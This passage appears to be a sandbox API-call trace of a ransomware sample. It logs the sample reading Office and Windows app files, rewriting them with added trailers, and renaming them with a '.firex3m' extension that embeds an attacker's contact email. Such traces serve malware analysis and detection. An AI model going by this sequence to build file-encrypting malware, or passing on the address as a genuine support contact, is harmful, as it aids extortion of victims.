dwReserved1=0x6f0063, cFileName="PROFILE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROFIL~2.FIR")) returned 0x6d51c0 [0255.157] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0255.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\profile.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0255.158] GetProcessHeap () returned 0x630000 [0255.158] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb221) returned 0x72746e0 [0255.158] GetProcessHeap () returned 0x630000 [0255.158] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb221) returned 0x727f910 [0255.158] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.158] ReadFile (in: hFile=0x6c0, lpBuffer=0x72746e0, nNumberOfBytesToRead=0xb200, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72746e0*, lpNumberOfBytesRead=0x6afff0c*=0xb200, lpOverlapped=0x0) returned 1 [0260.476] GetProcessHeap () returned 0x630000 [0260.476] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0260.476] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.476] WriteFile (in: hFile=0x6c0, lpBuffer=0x727f910*, nNumberOfBytesToWrite=0xb200, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x727f910*, lpNumberOfBytesWritten=0x6afff0c*=0xb200, lpOverlapped=0x0) returned 1 [0260.476] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.477] WriteFile (in: hFile=0x6c0, lpBuffer=0x728ab0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x728ab0f*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0260.477] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.477] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0260.477] CloseHandle (hObject=0x6c0) returned 1 [0260.477] GetProcessHeap () returned 0x630000 [0260.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727f910 | out: hHeap=0x630000) returned 1 [0261.056] GetProcessHeap () returned 0x630000 [0261.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72746e0 | out: hHeap=0x630000) returned 1 [0261.056] GetProcessHeap () returned 0x630000 [0261.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0261.239] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.239] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PROFILE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6133bc20, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb232, dwReserved0=0x9807496, dwReserved1=0x72746d8, cFileName="PROFILE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROFIL~2.FIR")) returned 0x6d4f00 [0261.239] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0261.239] Sleep (dwMilliseconds=0x1) [0261.254] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\46.jpg", len=0x7c | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\46.jpg") returned 1 [0261.254] GetProcessHeap () returned 0x630000 [0261.254] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dc8) returned 0x6fe3bb0 [0261.255] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\46.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\46.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.261] Sleep (dwMilliseconds=0x1) [0262.872] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\13.jpg", len=0x7c | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\13.jpg") returned 1 [0262.872] GetProcessHeap () returned 0x630000 [0262.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d8c) returned 0x6fe3bb0 [0262.872] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\13.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\13.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.874] Sleep (dwMilliseconds=0x1) [0263.891] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\168.png", len=0x7a | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\168.png") returned 1 [0263.891] GetProcessHeap () returned 0x630000 [0263.891] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb4) returned 0x6fe3bb0 [0263.891] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\168.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\168.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.892] Sleep (dwMilliseconds=0x1) [0264.654] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\resources.pri", len=0x64 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\resources.pri") returned 1 [0264.654] GetProcessHeap () returned 0x630000 [0264.654] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d44) returned 0x6fe3bb0 [0264.655] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.664] Sleep (dwMilliseconds=0x1) [0264.678] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-54.png", len=0x75 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-54.png") returned 1 [0264.678] GetProcessHeap () returned 0x630000 [0264.678] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce4) returned 0x6fe3bb0 [0264.678] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-54.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail1.targetsize-54.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.686] Sleep (dwMilliseconds=0x1) [0264.741] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-36.png", len=0x76 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-36.png") returned 1 [0264.741] GetProcessHeap () returned 0x630000 [0264.741] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca8) returned 0x6fe3bb0 [0264.741] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall2.targetsize-36.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.745] Sleep (dwMilliseconds=0x1) [0264.752] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-24.png", len=0x76 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-24.png") returned 1 [0264.752] GetProcessHeap () returned 0x630000 [0264.752] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c8c) returned 0x6fe3bb0 [0264.752] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall1.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.757] Sleep (dwMilliseconds=0x1) [0264.773] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTileThin.scale-200.png", len=0x76 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTileThin.scale-200.png") returned 1 [0264.773] GetProcessHeap () returned 0x630000 [0264.773] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c58) returned 0x6fe3bb0 [0264.774] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basemedtilethin.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.775] Sleep (dwMilliseconds=0x1) [0264.789] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.png", len=0x66 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.png") returned 1 [0264.789] GetProcessHeap () returned 0x630000 [0264.789] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c3c) returned 0x6fe3bb0 [0264.790] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.794] Sleep (dwMilliseconds=0x1) [0266.639] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", len=0x66 | out: pbstr=0x6afff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 1 [0266.639] GetProcessHeap () returned 0x630000 [0266.639] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b88) returned 0x6fe3bb0 [0266.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0266.640] CloseHandle (hObject=0x70c) returned 1 [0266.640] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.641] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\gifimp32.flt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.642] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9622ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9622ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef9622ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3b860, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="GIFIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GIFIMP~1.FIR")) returned 0x6d51c0 [0266.642] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0266.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\gifimp32.flt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0266.642] GetProcessHeap () returned 0x630000 [0266.642] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x756bdc8 [0266.643] GetProcessHeap () returned 0x630000 [0266.643] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x75771f8 [0266.643] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.644] ReadFile (in: hFile=0x70c, lpBuffer=0x756bdc8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x756bdc8*, lpNumberOfBytesRead=0x6afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.833] GetProcessHeap () returned 0x630000 [0274.833] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0274.833] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.833] WriteFile (in: hFile=0x70c, lpBuffer=0x75771f8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x75771f8*, lpNumberOfBytesWritten=0x6afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.833] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.834] WriteFile (in: hFile=0x70c, lpBuffer=0x75825f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x75825f7*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0274.834] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.834] WriteFile (in: hFile=0x70c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0274.835] CloseHandle (hObject=0x70c) returned 1 [0274.835] GetProcessHeap () returned 0x630000 [0274.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x75771f8 | out: hHeap=0x630000) returned 1 [0274.835] GetProcessHeap () returned 0x630000 [0274.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x756bdc8 | out: hHeap=0x630000) returned 1 [0274.835] GetProcessHeap () returned 0x630000 [0274.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0274.835] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0274.835] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9622ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9622ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69c28efb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3b884, dwReserved0=0x9807496, dwReserved1=0x756bdc0, cFileName="GIFIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GIFIMP~1.FIR")) returned 0x6d4f40 [0274.835] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0274.835] Sleep (dwMilliseconds=0x1) [0274.839] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageBadgeLogo.scale-200_contrast-black.png", len=0xa0 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageBadgeLogo.scale-200_contrast-black.png") returned 1 [0274.839] GetProcessHeap () returned 0x630000 [0274.839] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ba0) returned 0x6fe3bb0 [0274.839] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageBadgeLogo.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackagebadgelogo.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.840] Sleep (dwMilliseconds=0x1) [0274.865] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-48_contrast-black.png", len=0xa2 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-48_contrast-black.png") returned 1 [0274.865] GetProcessHeap () returned 0x630000 [0274.865] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b74) returned 0x6fe3bb0 [0274.865] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-48_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-48_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.867] Sleep (dwMilliseconds=0x1) [0274.870] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-48_altform-unplated_contrast-black.png", len=0xb3 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-48_altform-unplated_contrast-black.png") returned 1 [0274.870] GetProcessHeap () returned 0x630000 [0274.870] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b70) returned 0x6fe3bb0 [0274.870] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-48_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-48_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.872] Sleep (dwMilliseconds=0x1) [0274.898] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-20_contrast-black.png", len=0xa2 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-20_contrast-black.png") returned 1 [0274.898] GetProcessHeap () returned 0x630000 [0274.899] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b3c) returned 0x6fe3bb0 [0274.899] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-20_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-20_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 